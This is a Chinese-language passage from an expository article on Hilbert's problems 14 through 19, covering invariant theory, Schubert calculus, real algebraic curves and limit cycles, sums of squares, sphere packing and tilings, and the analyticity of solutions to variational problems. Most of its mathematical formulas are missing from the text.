问题成立的情形是代数几何研究的一个重要领域。 当希尔伯特在证明他的定理时，他使用了如下事实：在特征为零的域上， 的有限维表示是完全可约的（completely reducible）。 然而在特征为 的域上，不存在半单群（semi-simple group）使得它的所有表示都是完全可约的。 芒福德提出一个关于一般线性群的猜想，之后在 1975 年被哈布什（William Joseph Haboush，1942- ）所证明。 芒福德猜想或哈布什定理是说： 假设 是域 上的半单的（或可约的）代数群， 是 在 - 向量空间 上的线性表示，而 是 中的元素使得它被 的作用所固定。则存在 上的 - 不变多项式 ，满足 且 没有常数项。 满足上述哈布什定理中性质的群 称为半可约的（semi-reductive）。 回到 1964 那一年，永田雅宜证明了如果 是半可约的，那么 - 不变多项式环是有限生成的。特别地，当 是可约时， - 不变多项式环是有限生成的。 当 不是半单或可约时， - 不变多项式环（即便是在特征为零时）的有限性也知之甚少： 1933 年，魏岑博克（Roland Weitzenböck, 1885-1955）证明了 - 不变多项式环是有限生成的，此时 是基域（ground field）的加法群。 然而，当 是基域的加法群和乘法群的一些乘积时，永田雅宜在 1959 年给出了反例。 扎里斯基（Oscar Zariski, 1899-1986）提出了用代数簇的线性系（linear system）表示的问题：令 是非奇异射影簇 的正除子（positive divisor），即 可表示成余维数为 1 的子簇 的正线性组合。 令 是由仅在 上有任意阶极点（pole）的有理函数所构成的环。1954 年，扎里斯基证明了存在某个 和 使得希尔伯特环 同构于环 。 进一步，他问了更一般的问题，即是否所有的环 都是有限生成的。他本人证明了 是有限生成的，如果 的维数是 1 或 2。 的子域 定义了某个射影簇 的函数域，以及有理映射 该映射是通过对 进行合适的向上爆破（blowing up）而得到的，即，可以选择 使得任意点 的全逆像（full inverse image） 的维数为 ，这里 是簇 的维数。 令 是 的余维数为 1 的子簇，使得它们的逆像 是无穷远处的超平面的一部分。我们可以证明 这里 。 1958 年，里斯（David Rees, 1918-2013）发现了一个三维射影簇 和一个除子 使得 是无限生成的。该例子中的 是双有理于射影平面和某椭圆曲线的乘积。 1959 年，永田雅宜发现了对合适的点 ，如果 是通过把每个 爆破成有理曲线 ，考虑除子 其中 是不经过这些 的直线。定义环 为带极点 的有理函数的（对 求）直和。这个环 是无限生成的，且同构于 ，这里 是 上的 - 丛。 扎里斯基考虑如下： 是一个非奇异曲面， 是 中亏格为 的曲线满足 , 如果 上的线丛 限制在 上是平凡的，那么它在 上也是平凡的。 令 是 的超平面截面（hyperplane section）， 和 。他证明了 不是有限生成的。 希尔伯特第 14 问题的一个重要应用是研究代数等价关系的商空间。给定簇 ，令 是乘积空间 里的一些子簇的有限并，且其定义了 上的一个等价关系。是否存在簇 和满态射 使得 我们记 为 。 有趣的例子有 ，这里群 作用在 上， 对角线 ，这里 是 “被向下爆破（blown down）” 的子簇。 我们总可找到在 下稳定的扎里斯基开集 使得 存在。因此，容易构造出 上的有理函数域 。当 充分小时， 的任何模型 均实现了 。 问题在于如何找到处处有效的 ，然而存在不少反例： 1962 年，格劳特（Hans Grauert, 1930-2011）发现了某个代数曲面里的一个除子，该除子可以被解析地而不是代数地向下爆破。 1962 年，广中平祐（Heisuke Hironaka, 1931- ）发现了一个完备簇，其上存在自由对合作用但商不是簇。 芒福德和永田雅宜发现了 自由作用的拟射影簇（quasiprojective variety）使得轨道空间不是簇。 芒福德引入了一套技术方法来证明 是射影的：令 是可约代数群作用在一个射影簇 上，该射影簇通过射影嵌入到某个射影空间里。他证明了存在典范（canonical）开子集 （稳定点集） （半稳定点集） 它们都是 - 不变的。 是闭包 的开子集，而后者 是 在如下等价关系下的商空间： 这里 表示 的 - 轨道。 由 中满足如下性质的点所定义，这些点对作用在 的齐次坐标上的 的所有单参数子群 “性态恰当”。 给定代数流形上的线丛 ， （ ）的全纯截面构成了一个环。在代数几何中，一个基本问题是证明这个环是否是有限生成的。 在高维的双有理几何中，极小模型（minimal model）问题与此问题有关，在我们数学中心的考切尔・比尔卡尔（Caucher Birkar, 1978- ）教授在极小模型方面做出了奠基性的贡献。 15、舒伯特计数演算的严格基础问题在于：舒伯特根据所谓的特殊位置原理或数守恒原理，按照他所发展的计数演算确定一些几何数，现在要严格地、精确地确定其有效性的范围。 虽然今天的代数在原则上保证了进行消元法的可能性，但是，证明计数几何定理反而是很有必要的。即对特殊形式的方程具体执行消元法时，用计数演算也许可以事先知道最终方程的阶及其解的重数。 评论： 舒伯特演算是十九世纪的相交理论（intersection theory）及其在计数几何（enumerative geometry）中的应用。 1886 年，舒伯特（Hermann Cäsar Hannibal Schubert, 1848-1911）使用经典方法得到了射影几何中许多有趣的计数数。比如，在 维空间里相交于 个一般 维平面的 维平面的个数是 除此之外，还有其他许多有趣的计数数。例如，舒伯特在 1879 年写了一本书《计数几何微积分》（Kalkül der abzählenden Geometrie），在书中他得到了与空间中 9 个给定的二次曲面相切的二次曲面的数目是 ，以及与 12 个给定的二次曲面相切的扭立方空间曲线（twisted cubic space curves）的数目是 。 考虑一个典型的枚举问题：找出在 3 维空间中与 4 条给定直线相交的直线个数。舒伯特改变了这 4 条给定直线的位置，使得第一条直线和第二条直线相交，第三条直线和第四条直线相交。那么显然有 2 条直线与 4 条直线相交，即，连接两个交点的直线和所张成的 2 个平面的相交直线。 根据数守恒原理（principle of conservation of number），舒伯特得出了如下结论：在 3 维空间中与 4 条给定直线相交的直线个数是 2 或无穷（如果两个平面平行）。 上述问题的背景空间是 3 维复射影空间。十九世纪初，蒙日（Gaspard Monge, 1746-1818）、卡诺（Lazare Nicolas Marguerite, Comte Carnot, 1753-1823）和彭赛列（Jean-Victor Poncelet, 1788-1867）开始在该问题上用复数。 数守恒原理被彭赛列广泛使用，他称之为连续性原理（principle of continuity）。柯西（Augustin-Louis Cauchy, 1789-1857）对此提出了严厉的批评。 1874 年，舒伯特将这个原理重新命名为 “特殊位置原理（principle of special position）”；1876 年，将其更名为数守恒原理。该原理极大地丰富了计数几何学。 1912 年，塞维里（Francesco Severi, 1879-1961）通过使用参数簇并考虑它们的维数和交集，将其用几何术语表示出来。 一般地， 维空间里 维平面可以用格拉斯曼流形 来参数化。该流形位于 维空间里，这里 利用普吕克坐标（Plücker coordinates）， 维平面可用点来表示。 维平面的普吕克坐标不是任意的，而是要满足一定的二次关系，这个关系是格拉斯曼（Hermann Günther Grassmann, 1809-1877）在 1844 年发现的。 对 3 维空间里的直线， 只需要一个二次关系 因此 是 里的二次超曲面。 为了研究计数几何，舒伯特在 1886 年引入了舒伯特簇（Schubert variety）。任取一个旗列（flag），或线性空间的套序列： 。在 维平面 上，他引入了如下条件（即舒伯特条件） 这个条件满足当且仅当 维平面 的普吕克坐标，除了满足二次关系外，还要满足一定的线性关系。因此，这些满足舒伯特条件的 构成了一个代数簇，称为舒伯特簇 。 对 里的直线 ，我们考虑舒伯特簇 ，其里面的元素是 里和 相交的直线。与 4 条给定直线 相交的直线可表示为 这个交集由关于 6 个齐次坐标的 4 个线性方程和 1 个二次方程所给出。这个方程组有 2 个解，或 1 个重解，或无穷多个解。因此，如果存在无穷多条直线与给定的 4 条直线相交，那么交线是 2 条直线或重数为二的 1 条直线。 舒伯特演算是计数几何中的一个强有力的工具，它统一了系统处理计数几何的效果。 数守恒原理断言，连续改变条件里的参数会导致相等的条件。 舒伯特演算源自沙勒（Michel Floréal Chasles, 1793-1880）1864 年的工作，该工作是关于圆锥曲线的计数理论。 沙勒发现，满足给定条件的 1 - 参数族里的圆锥曲线个数可表示为如下形式 这里 是 1 - 参数族里经过给定点的圆锥曲线的个数， 是 1 - 参数族里与给定直线相切的圆锥曲线的个数，而 和 依赖我们所给的条件（它们称为特征（characteristic））。 沙勒发展了满足 个独立条件的 - 参数族中圆锥曲线个数的表达式。1873 年，哈芬（Georges Henri Halphen, 1844-1889）发现，满足 5 个独立条件的圆锥曲线个数，形式上可写成 这里，我们需要把 解释成经过 个点且和 条直线相切的圆锥曲线个数。 舒伯特演算的几何解释始于对参数簇的图形进行参数化，我将其作为代表满足条件的图形的点的子集。由于可接受的条件是由代数方程给出的，因此该子集是代数的。条件上有代数运算，条件等价就是我们所说的数值等价。 众多数学家对舒伯特演算打下了坚实的基础，包括范・德・瓦尔登（Bartel Leendert van der Waerden, 1903-1996）建议使用莱夫谢茨（Solomon Lefschetz, 1884-1972）于 1924 年提出的拓扑相交理论。观察到，同调等价（homological equivalence）意味着数值等价（numerical equivalence）。 经过许多数学家的努力，严格处理舒伯特演算的代数相交理论得到了蓬勃发展。这些数学家包括：塞维里（Severi）、范・德・瓦尔登（van der Waerden）、周炜良（Wei-Liang Chow, 1911-1995）、谢瓦莱（Claude Chevalley, 1909-1984）、扎里斯基（Oscar Zariski, 1899-1986）、韦伊（Weil）、霍奇（William Vallance Douglas Hodge, 1903-1975）、格罗布纳（Wolfgang Gröbner, 1899-1980）、格洛腾迪克（Alexander Grothendieck, 1928-2014）、塞尔（Jean-Pierre Serre, 1926- ）、阿廷（Michael Artin, 1934- ）德利涅（Pierre René, Viscount Deligne, 1944- ）、布洛赫（Spencer Janney Bloch, 1944- ）、富尔顿（William Edgar Fulton, 1939- ）、麦克弗森（Robert Duncan MacPherson, 1944- ）等。 一个重要的工具是格拉斯曼流形上同调环的加法结构和对偶结构，这就是所谓的基本定理。该定理断言，舒伯特闭链（Schubert cycle），即舒伯特簇的上同调类，构成了上同调环的加法基且基关于如下庞加莱对偶（Poincaré duality）的偶对是自对偶的： 这就是舒伯特演算的基石，在 1934 年被埃雷斯曼（Charles Ehresmann, 1905-1979）严格证明（拓扑方法）。他观察到舒伯特簇给出了格拉斯曼流形的胞腔分解。 1941 年，霍奇给出了基定理的纯代数版本。 考虑如下的例子：求 4 维空间中 2 个二次超曲面的公共直线个数。利用格拉斯曼流形 里的某个纯维数为 3 的代数集 ，我们可以参数化 4 维空间里一般二次超曲面 上的直线。根据基定理， 里的上同调类 可表示为 这里 是 里的一般点， 是 里的一般直线，而 是 里的一般 3 维平面。 是 和舒伯特簇 交点个数，因为 中没有直线通过不在 里的点，所以 。 是 中即位于 内又和 相交的直线个数，但是 和 的交集是光滑二次曲面 ，因此 有 2 个直纹线簇。 里的一般直线 交 于 2 个不同的点，且每个点都位于每个直纹线簇里的一条上。因此， 和 相交的直线就是这 4 条直纹线，故 。 最后得到 且 格拉斯曼流形的上同调环的乘法结构是非常重要的。令 是由满足 维数为 的舒伯特簇 所构成的上同调类。舒伯特簇 的维数为 故上同调类 位于第 个上同调群里，这里 是格拉斯曼流形 的维数。 基定理断言，维数 的舒伯特闭链 构成了第 个上同调群的自由基，同时对应的舒伯特闭链 构成了第 个上同调群的对偶基。 考虑如下特殊的舒伯特闭链： 这里 是非负整数，它们构成了 - 代数基。 詹贝利（Giovanni Zeno Giambelli, 1879-1953）公式：任意舒伯特闭链可写成特殊舒伯特闭链的行列式 皮埃里（Mario Pieri, 1860-1913）公式： 这里 皮埃里公式可用来计算 维空间里与 个一般 维平面相交的 维平面的个数，这里 。这个数目等于 的度数。因此，答案为 陈（省身）类的现代理论来在舒伯特演算，但其影响力远远超过了计数几何。由其全局截面所生成的向量丛 ，给出了映入某个格拉斯曼流形 的映射 因此，向量丛的示性类（characteristic classes）是舒伯特闭链的拉回，同时陈类是特殊舒伯特闭链的拉回。 范・德・瓦尔登（Bartel Leendert van der Waerden, 1903-1996）和韦伊（André Weil, 1906-1998）把这个问题和旗流形（flag manifold） 的上同调环的系数确定联系起来，这里 是李群 的抛物子群（parabolic subgroup）。 埃雷斯曼、切瓦利（Claude Chevalley, 1909-1984）、伯恩斯坦（Joseph Bernstein, 1945-）- 盖尔范德（Israel Moiseevich Gelfand, 1913-2009）- 盖尔范德（S. I. Gelfand）证明了 的上同调环的加法结构由舒伯特演算的基本定理所给出，这是说 上的经典舒伯特类形成了 的上同调环的一个自由基。 舒伯特把舒伯特类的乘积展开为基元的线性组合的剩余问题称为特征问题（characteristic problem）。 计数几何沉寂了很长一段时间，部分原因是经典的代数几何方法远不足以找到代数量的个数的正确公式。 一个好的例子是，五次三流形（quintic threefold， 中的五次三维超曲面）—— 它是一个卡拉比 - 丘流形 —— 上有理曲线的个数。 对次数为一或二的有理曲线，经典方法就可以处理。 弦论中的镜像对称（mirror symmetry）理论出现之前，对一般 次有理曲线的个数没有一般的公式。 这个一般公式与积分周期（period of integrals）有关，坎德拉斯（Philip Candelas, 1951-）等人基于物理直觉发现了这个事实。1996 年，吉文特尔（Alexander Givental, 1958-）和连文豪 - 刘克峰 - 丘成桐分别独立地严格证明了这个公式。 在同一时间，扎斯罗（Eric Zaslow）和丘成桐发现了 K3 曲面中带 k 个结点（nodes）的有理曲线的个数的公式，其生成函数可以用 η 函数来计算。这是模形式首次出现在计数几何里。 戈特谢（Göttsche）把扎斯罗 - 丘成桐公式推广到一般的代数曲面，其中一个重要的生成幂级数尚未确定。 计数几何已成为镜像对称现代理论里的重要部分。 16、代数曲线和曲面的拓扑阶平面代数曲线可以具有的闭和孤立分支的最大数目已由哈纳克（C. G. A. Harnack）所确定（1876）。进而出现了进一步的问题，就是关于分支在平面中的相对位置。对六次曲线来说，我通过一种复杂的方法已经确信这是对的，即根据哈纳克的定理，在它们可以拥有的十一个分支中，绝不是所有的分支都彼此位于外部，而是必须存在一个分支，其内部有一个分支，而外部则有九个分支。或相反。 在我看来，当孤立分支的个数达到最大时，对它们之间的相对位置进行彻底的研究似乎非常有趣，而对空间中代数曲面的叶（sheet）的数目、型和位置的相应研究也是如此。事实上，到目前为止，甚至不知道三维空间中四阶曲面真正可以拥有的叶的最大数目是多少。 对这个纯粹的代数问题，我想提出另一个问题，在我看来，这个问题可以用系数连续变化的相同方法来解决，并且其答案是由微分方程定义的曲线族的拓扑所对应的值。这是关于如下形式的一阶和一次微分方程的庞加莱边界环（极限环）的最大数目和位置的问题： 其中 是 的 次有理整函数。 写成齐次形式为 其中 是 的 次齐次有理整函数，且 是参数 的函数。 评论： 问题分为两部分： 1、哈纳克（Carl Gustav Axel Harnack, 1851-1888）在 1876 年发表的论文《论平面代数曲线的多样性》（Ueber die Vieltheiligkeit der ebenen algebraischen Curven）中证明了实射影平面上 次实代数曲线最多有 个连通分支（卵形线）。有这么多分支的曲线叫 曲线。 比如有两个连通分支的椭圆曲线 ，以及有四个连通分支的特洛特（Trott）曲线 都是 M 曲线。 现在要研究这些连通分支之间的拓扑性质，例如这些连通分支是互相隔开的，还是一个包一个？ 第一个有趣的情形是 ，此时 曲线共有 个连通分支，希尔伯特证明这些连通分支不能两两互不包含。在 时有些进展，但还没有彻底解决。此外，希尔伯特想把上述研究推广到空间中的实代数曲面。 2、平面多项式系统的极限环存在和分布。假设有两个 次多项式 和 ，考虑向量场 的积分曲线 —— 由方程 所决定。它有多少个极限环（limit circle）？这些极限环的位置如何分布？ 1923 年，杜拉克（Henri Claudius Rosarius Dulac, 1870-1955）发表论文（140 页）证明了对固定的 和 ，只有有限个极限环。但是在上世纪七十年代，人们发现证明不完整，直到上世纪八十年代末，才被严格地证明 —— 分别由前苏联的依廖申科（Yulij Sergeevich Ilyashenko, 1943-）、 法国的让・埃卡勒（Jean Écalle, 1947-）及马丁内（Jacques Martinet, 1939-）等人完成。他们主要证明了不可能有无限多个极限环聚集在一个分界线环邻近。 在 时，鲍金（N.N.Bautin）在 1952 年证明了在奇点外围邻近最多有三个极限环。 上世纪五十年代末，苏联科学院院士彼得洛夫斯基（Ivan Georgiyevich Petrovsky, 1901-1973）与兰迪斯（Evgenii Mikhailovich Landis, 1921-1997）给出了极限环数目的上限 —— 由 的多项式给出。当 时，上限值为 。 上世纪七十年代末，史松龄、陈兰荪及王明淑找到存在四个极限环以上的二次系统。可以知道彼得洛夫斯基与兰迪斯的证明有错。因此，第 16 问题至今没有解决！ 复代数流形的结果比较丰富，这是因为复数是完备的缘故。我们可以将实代数流形看为 ，其中 为代数流形，而 为反全纯对合（anti-holomorphic involution）。我们的实代数流形可以看为 的不动点，因此拓扑学中变换群理论可以用上，这里有出名的史密斯 - 波莱尔（Smith-Borel）的等变上同调理论（equivariant cohomology）。 俄罗斯数学家罗林（Rohlin）和阿诺德（Arnold）对实代数流形的拓扑有重要的贡献。 事实上，可以选取代数流形的凯勒形式（Kähler form）使得它在不动点上等于零。也就是说，实代数流形可以看为拉格朗日闭链（Lagrangian cycle）。 近三十年，拉格朗日闭链的研究有不少的成果，希望能够在实代数流形的研究中发挥作用。 关于 中实代数超曲面的微分几何，有很多有趣的问题：比如， 它的曲率（curvature）和协变导数（covariant derivative）之间有没有代数关系？ 有什么几何量可以用定义超曲面的多项式的度数来控制？例如，体积、闭测地线个数的增长等。 可否通过拉普拉斯算子的谱来刻画度量是否由代数嵌入（algebraic embedding）决定？ 17. 正定形式的平方表达式具有实系数的任意个变量的有理整函数或形式称为是正定的，如果它对这些变量取任何实值都没有变为负的。所有正定形式的系在加法和乘法运算下都是不变的，但是两个正定形式的商 —— 如果它应该是变量的整函数 —— 也是正定形式。显然，任何形式的平方总是一个正定形式。但是，正如我所证明的，由于不是每一个正定形式都可以通过形式的平方相加来合成，那么就出现了一个问题，我对三元形式已经做出了肯定的回答 —— 是否不能把每个正定形式都表示为形式平方和的商。同时，对于某些几何结构的可能性问题，最好知道表达式中所使用的形式的系数是否总是可以从所表示的形式系数所生成的有理域中获取。 评论： 这个问题来自闵可夫斯基在 1885 年柯尼斯堡大学博士论文的口试答辩，当时他提出了一个猜想 —— 存在定义在 上的非负实多项式，它不能写成一些实多项式平方的和。希尔伯特当时是口试答辩里的提问者，事后闵可夫斯基告诉他这个命题是对的。 三年后，希尔伯特证明了存在 上的 6 次双变量的非负实多项式，它不能写成一些实多项式平方的和。 希尔伯特进一步证明了 次 变量的非负实多项式可以写成一些实多项式平方的和，当且仅当 要么 ， 要么 ， 要么 且 。 但是希尔伯特并没有给出显式的反例。 1967 年，莫茨金（Theodore Samuel Motzkin, 1908-1970）给出了第一个显式的反例： 1893 年，希尔伯特证明了 上的每个非负实多项式都可以写成四个有理函数平方的和。例如对莫茨金多项式，有 令 是交换域，而 是如下系数在 内的有理函数 称 是 正定的（positive definite） ，如果对所有满足 的 ，以及 中所有的序（ordering），都有 （如果 中没有序，那么每个 都是正定的）。 如果 是所谓的实闭域（real closed field）—— 即 本身不是代数闭的但是它的域扩张 是代数闭的，埃米尔・阿廷（Emil Artin, 1898-1962）在 1926 年证明了如果 是正定的有理函数，那么存在某个自然数 使得 可以写成 个有理函数的平方和。阿廷的证明只对仅有阿基米德序（archimedian ordering）的实闭域 成立（这包括代数数域）。 阿廷的证明是基于形式实域（formally real field）中的阿廷 - 施赖尔理论（Artin-Schreier theory）：在任意域 里，元素 是平方和当且仅当 是全正的（totally positive），即在 的每个序内都是非负的。 因此，我们需要证明正定的有理函数 作为 里的元素是全正的。1972 年，克内布什（Manfred Knebusch, 1939-）不用斯图姆定理重新证明了阿廷的结果。 当 时，克莱塞尔（Georg Kreisel, 1923-2015）在 1956 年给出了一个构造性的证明，同时证明了自然数 的上界依赖于 和 的次数。1967 年，普菲斯特（Albrecht Pfister, 1934-）证明了 的上界仅依赖于 ；事实上， 可以取 。阿克斯（James Burton Ax, 1937-2006）同样证明了相同的结果，只是没有发表而已。 曾炯（Chiungtze C. Tsen, 1898-1940，自炯之，1934 年在埃米・诺特指导下获得哥廷根大学博士学位）在 1936 年的定理（即著名的 曾定理 ）起到了重要的作用： 1932 年，哥廷根，诺特（前排中立者）和她的合作者以及学生。外尔，左边第 4 位；阿廷，诺特后面；曾炯之，诺特的博士生，右边第 1 位（坐着）。 曾定理（1936）： 令 是代数闭域 上的超越次数（transcendence degree）为 的域，而 是系数在 内的、不超过 个变量的 次型。则 在 内有一个非平凡零点。特别地，每个维数超过 的二次型必有一个非平凡零点。 1967 年，杜波依斯（D. W. Dubois）证明了希尔伯特第 17 问题对一般的序域（ordered field）是不成立的。他构造了一个域，它仅有一个序（是非阿基米德序的）。 一个公开问题是：当 时， 里的每个平方和都可以写成 个平方之和，这里 。 18、由全等多面体构造空间如果我们在平面上寻找存在基本域的那些运动群，我们会得到各种答案，因为要按照所考虑的平面是黎曼的（椭圆的）、欧几里得的或罗巴切夫斯基的（双曲）而定。在椭圆平面情形下，存在有限多个本质上不同类的基本域，并且有有限多个全等区域足以完全覆盖整个平面；该群实际上仅由有限多个运动组成。在双曲平面情形下，存在无限多个本质上不同类的基本域，即众所周知的庞加莱多边形。为了完全覆盖平面，需要无限多个的全等区域。欧几里得平面情形介于两者之间；因为在这种情形下，只有有限多个带基本域的本质上不同类的运动群，但是为了完全覆盖整个平面，需要无限多个的全等区域。 确切地说，相应的事实可在三维空间中找到。椭圆空间中运动群的有限性这一事实是约当（C. Jordan）基本定理的直接推论，根据该定理，本质上不同类的 个变量的线性替换的有限群个数不会超过依赖于 的某个有限界限。弗里克（Fricke）和克莱因（Klein）在自守函数理论的讲义中研究了双曲空间中带基本域的运动群，最后费多罗夫（Fedorov）、舍恩弗利斯（Schoenflies）和最近的罗恩（Rohn）证明了在欧几里得空间中，只有有限多个带基本域的本质上不同类的运动群。现在虽然结果适用于椭圆和双曲空间的证明方法直接适用于维空间，但欧几里得空间定理的推广明显很困难。因此，研究以下问题很有意义： 在 维欧几里得空间中是否也只有有限多个带基本域的本质上不同类的运动群？ 每个运动的基本域，以及由该群产生的全等区域，显然完全填满了空间。问题是：是否存在这样的多面体，它不作为运动群的基本域而出现，但通过其多面体适当并排，可以完全填满所有空间。与前个问题有关，我指出以下问题对数论很重要，对物理和化学可能也有用：如何在空间中最密集地排列无限多个给定型的相同立体，例如，给定半径的球或给定边（或给定位置）的正四面体，也就是说，如何将它们组合在一起，以使填充空间与未填充空间的比例尽可能大？ 评论： 主要问题是如何有效地用半径相等的非重叠球体填满空间。1611 年，开普勒（Johannes Kepler, 1571-1630）猜测以 “杂货店填充”（比如立方密填充和六角填充）的密度最大： 其他的填充方式具有相同的密度，但人们想证明没有一种方式具有更大的密度。 在其他领域里，类似的问题在编码理论中也很重要。 在二维空间中，图（Axel Thue, 1863-1922）在 1890 年证明了密度最大的填充是正六边形填充，其密度是 。 1998 年，黑尔斯（Thomas Callister Hales, 1958- ）宣布了开普勒猜想的证明，他利用计算机检查了大约 5000 个情形。2014 年，他又宣布形式证明的版本已经通过自动定理证明进行了检查。 令 是可以装入 维箱子 内且不相重叠的的直径为 的 维球的最大个数。 当 ，我们可以证明 趋于某个有限非零极限；该极限记作 已经知道 罗杰斯（Claude Ambrose Rogers, 1920-2005）得到了 的上界估计 如果要求球心都位于某个格（lattice）上，我们就有很多有趣的问题。这里格 ，是指 里的离散加法子群。如果 是 的一组基，那么 的体积是 令 若定义 则 。科尔金（Aleksandr Nikolayevich Korkin, 1837-1908）和佐洛塔列夫（Yegor Ivanovich Zolotarev, 1847-1878）计算了直到 的所有 。之后，布利凯尔特（Blichfeldt）把他们的结果推广到 。 当 时，我们可以用邓肯图（Dynkin diagram）来构造在 中取到最大值的格。 在每个图中，顶点表示满足 的基向量 。任给两个基向量，如果它们之间有线段相连，那么它们的内积就定义为 ，否则定义为 。 的值汇总如下： 当 时， 的值不知道。直到 2016 年，维亚佐夫斯卡（Maryna Sergiivna Viazovska, 1984-）及其合作者利用模形式理论证明了 可由利奇（John Leech, 1926-1992）格实现。 闵可夫斯基证明了 单位球的体积 这个估计后来被罗杰斯改进。 希尔伯特也提出了如下的问题：在 维欧几里得空间中是否只有有限多个带紧的基本域的本质上不同类的运动群？ 这里，我们寻找 维欧几里得运动群的离散子群 ，使得我们可以找到紧区域 满足 覆盖 ，这些 的公共点只有边界点。 1910 年，比伯巴赫（Ludwig Georg Elias Moses Bieberbach, 1886-1982）在《欧氏空间的运动群》（Über die Bewegungsgruppen der Euklidischen Räume）中证明了离散群 必包含一个有限指标的阿贝尔子群 ，使得 通过平移（translations）作用在 上，以及商群 是有限群且在 里有忠实表示（faithful representation）。进一步，比伯巴赫证明了对每个 ， 的同构类都是有限的。 1938 年，扎森豪斯（Hans Julius Zassenhaus, 1912-1991）证明了对任意群 ，如果它是 的有限扩张，那么必可嵌入到 的运动群使得 上的作用有紧的基本域。 这样的群 称为比伯巴赫群（Bieberbach group）。众所周知，直到 ，不同比伯巴赫群的个数都可以计算出来： ，2 个； ，17 个； ，219 个； ，4783 个 当 时，比尔巴赫群的分类在晶体研究中具有重要意义。在 1890 年左右，费多罗夫（Evgraf Stepanovich Fedorov, 1853-1919）和舍恩弗利斯（Arthur Moritz Schoenflies, 1853-1928）已分别独立进行了分类。 如果我们用仿射变换取代欧式空间运动，那么离散群的同构类不再是有限的了。 希尔伯特接着问，是否存在这样的多面体，它不作为运动群的基本域而出现，但通过其多面体适当并排，可以完全填满所有空间。 1928 年，莱因哈特（Karl August Reinhardt, 1895-1941）在《关于欧几里得空间分解为全等多胞形》（Zur Zerlegung der euklidischen Räume in kongruente Polytope）中构造了一个复杂的三维反例。 1935 年，希施（Heinrich Heesch, 1906-1995）构造了一个相对简单一些的二维反例（右图）。 1971 年，罗宾逊（Raphael Mitchel Robinson, 1911-1995）发表了一篇题为《平面平铺的不可判定性和非周期性》（Undecidability and non periodicity for tilings of the plane）的论文，其中可以找到许多令人震惊的相关例子。 用一些几何形状的图案（“瓷砖（tiles）”）覆盖平面，使得没有重叠或间隙，称为瓷砖（tilling）或平铺。平铺里的图案称为原型（prototile）。 称一组原型平铺平面，如果仅使用这些形状对平面进行平铺。 如果一组原型的所有平铺都是非周期的，则称其为非周期的（aperiodic），此时平铺称为非周期平铺（aperiodic tilings）。 非周期平铺例子：彭罗斯平铺、史密斯平铺、王皓平铺 1961 年，清华大学校友、著名逻辑学家王浩（Hao Wang, 1921-1995）注意到决策问题（decision problems）和平铺之间的联系。他引入了王多米诺骨牌（Wang dominoes，形状是正方形，且每条边可以有不同的颜色）并提出了 “多米诺骨牌问题”：一组给定的王多米诺骨牌是否可以平铺平面，使得相邻的多米诺骨牌的边用相同的颜色。 王浩观察到，如果这个问题是不可判定的，那么就必须存在一组非周期的王多米诺骨牌。 这 11 块王多米诺骨牌构成了一种非周期平铺 由 13 块王多米诺骨牌构成的非周期平铺 王浩学生伯杰（Robert Berger, 1938- ）在他 1964 年的博士论文《多米诺问题的不可判定性》（The undecidability of the domino problem）里证明了，多米诺问题是不可判定的，而且得到了由 20426 块王多米诺骨牌构成的一种平铺。 1968 年，高德纳（Donald Ervin Knuth, 1938- ）改进了伯杰的结果，只需要 92 块王多米诺骨牌。1971 年，罗宾逊简化了伯杰的方法，得到了只需要 6 块王多米诺骨牌就可以得到一个非周期平铺。 1974 年，彭罗斯（Roger Penrose, 1931- ）在《美学在纯数学和应用数学研究中的作用》（The role of aesthetics in pure and applied mathematical research）里发现了由 6 个原型构成的非周期平铺，这 6 个原型都不是正方形： 三个五边形 一个五角星 一个船形 一个菱形 彭罗斯的想法可追溯到开普勒（Johannes Kepler, 1571-1630）。随后彭罗斯将原型个数减少到两个，发现了风筝和飞镖平铺（kite and dart tiling），以及菱形平铺（Rhombus tiling）。人们发现彭罗斯平铺与准晶体生长的一些现实模型有关。 如果我们回首上世纪函数论的发展，我们首先会注意到有一类函数的根本重要性，我们现在将其称为 解析函数 —— 这类函数可能永远处于数学兴趣的中心。 我们可以从许多不同的观点出发，从所有可以想象到的函数中，选择值得特别彻底研究的函数类。例如，考虑以常或偏代数微分方程所刻画的函数类。应该注意的是，这个函数类不包含数论中出现的函数，而数论的研究是最重要的。例如，前面提到的函数 不满足代数微分方程，又比如，如果参考霍尔德（O. L. Hölder）证明的定理，借助于 和 之间众所周知的关系，很容易看出函数 不也满足代数微分方程。同样，与函数 密切相关的，由无穷级数 定义的两个变量 和 的函数可能不满足代数偏微分方程。 在研究这个问题时，必须使用函数方程： 另一方面，如果我们受算术或几何原因的引导去考虑所有那些连续和无限可微的函数类，那么在研究它时，我们就有必要放弃那个顺手的工具，即幂级数，以及函数完全由无论多么小的任意区域上的给定值所决定的事实。因此，虽然前者对函数领域的限制太窄，但在我看来，后者似乎太宽了。 另一方面，解析函数的思想包括对科学中最重要的函数的全部财富，无论它们起源于数论、微分方程理论还是代数函数方程理论，也无论它们起源于几何还是数学物理；因此，在整个函数领域中，解析函数理所当然地拥有无可争议的至高无上的地位。 19、正则变分问题的解是否一定解析在我看来，解析函数论中最引人注目的事实之一是：存在偏微分方程，其积分必是自变量的解析函数，简言之，方程只能接受解析解。这种最有名的偏微分方程是位势方程： 以及皮卡（1890）所研究过的某类线性微分方程；还有方程 极小曲面的偏微分方程和其它方程。这些偏微分方程中的大多数都具有共同的特征，即它们是某类变分问题也就是如下变分问题的拉格朗日微分方程： 本身是解析函数，对于所讨论范围内的变量的一切值，它满足不等式 我们将这种问题称为 正则变分问题 。主要是正则变分问题在几何、力学和数学物理中起作用；问题自然而然地出现了， 是否所有正则变分问题的解都一定是解析函数 。换言之， 正则变分问题的每个拉格朗日偏微分方程是否都具有这样的性质，即它们只容许有解析积分？即使函数被限制，例如在狄利克雷关于势函数问题里的那样边界值是连续的但不是解析的，情况是否也是如此？ 我可以补充一点，存在着高斯曲率为负常数的曲面，这些曲面可以用连续的函数来表示，这些函数实际上具有各阶导数，但却不是解析的；而另一方面，高斯曲率为正常数的每个曲面都必然是解析曲面。 评论： 偏微分方程解的正则性是一个很深刻的问题，最原始的问题是拉普拉斯方程解的正则性。 拉普拉斯方程一方面从力学的研究开始（古典的牛顿引力场由拉普拉斯方程表示），另一方面这个方程可以由变分法得到。 这是一个重要的事情，狄利克雷和黎曼都考虑过如何用变分法求解方程。 黎曼提出的单值化原理的证明就是用变分法，但他遇到方程解是否是光滑的问题。这个问题由希尔伯特解决了。这个变分方法以后叫做狄利克雷原理（Dirichlet principle）。 Riemann's Dirichlet Principle A function solves the Laplace equation if and only if its outer variations increase the energy. 在二十世纪初期，外尔提出了黎曼面上的调和形式的理论，以后霍奇（William Vallance Douglas 